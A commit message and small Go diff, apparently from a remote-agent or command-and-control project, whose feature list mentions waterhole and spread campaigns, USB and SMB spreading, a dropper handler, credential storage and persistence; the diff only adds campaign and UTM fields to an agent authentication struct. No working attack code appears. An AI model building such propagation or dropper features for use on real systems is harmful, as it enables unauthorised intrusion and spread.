feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/protocol.go

@@ -43,6 +43,8 @@ type AuthPayload struct {
 	MacAddress       string `json:"mac_address,omitempty"`
 	BuildID          string `json:"build_id,omitempty"`
 	USBSpread        bool   `json:"usb_spread,omitempty"`
+	Campaign         string `json:"campaign,omitempty"`
+	UTM              string `json:"utm,omitempty"`
 }
 
 type AuthResponse struct {